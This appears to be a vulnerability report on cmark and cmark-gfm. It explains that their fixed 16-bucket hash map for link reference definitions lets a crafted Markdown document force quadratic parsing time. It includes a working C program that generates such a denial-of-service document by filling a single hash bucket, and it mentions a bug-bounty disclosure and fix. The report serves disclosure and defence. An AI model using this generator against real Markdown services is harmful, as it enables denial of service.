Cmark (and Cmark-gfm) stores link reference definitions in a simple fixed-sized (16) hash map.
So lookup drops to linear time if there are many reference definitions because O(n/16) == O(n).
And it is also trivial to create malicious document which targets single bucket of the hash, making the hash completely ineffective. (See the C program generating such document below.) Such document with N reference definitions and N invalid references has O(N^2) time complexity.
#include <stdio.h>
#include <string.h>
#define REFMAP_SIZE 16
#define COUNT 50000
// From cmark/src/references.c:
static unsigned int
refhash(const unsigned char *link_ref)
{
unsigned int hash = 0;
while (*link_ref)
hash = (*link_ref++) + (hash << 6) + (hash << 16) - hash;
return hash;
}
static inline int
is_bucket_zero(const unsigned char *link_ref)
{
return (refhash(link_ref) % REFMAP_SIZE) == 0;
}
int
main(int argc, char** argv)
{
char buffer0[17];
char buffer[17];
int i, n;
buffer[16] = '\0';
for(i = 0, n = 0; n < COUNT; i++) {
snprintf(buffer, 16, "x%d", i);
if(is_bucket_zero(buffer)) {
if(n == 0) {
// Remember reference label we shall not define anywhere.
memcpy(buffer0, buffer, sizeof(buffer0));
} else {
// Saturate the bucket 0 of the hash.
printf("[%s]: /url\n\n", buffer);
// And force walking whole bucket.
printf("[%s]\n\n", buffer0);
}
n++;
}
}
return 0;
}(Note I originally reported this to Gihub through their https://hackerone.com/github bounty program. You may find their fix here: github@66a0836)
Cmark
(and Cmark-gfm)stores link reference definitions in a simple fixed-sized (16) hash map.So lookup drops to linear time if there are many reference definitions because O(n/16) == O(n).
And it is also trivial to create malicious document which targets single bucket of the hash, making the hash completely ineffective. (See the C program generating such document below.) Such document with N reference definitions and N invalid references has
O(N^2)time complexity.(Note I originally reported this to Gihub through their https://hackerone.com/github bounty program. You may find their fix here: github@66a0836)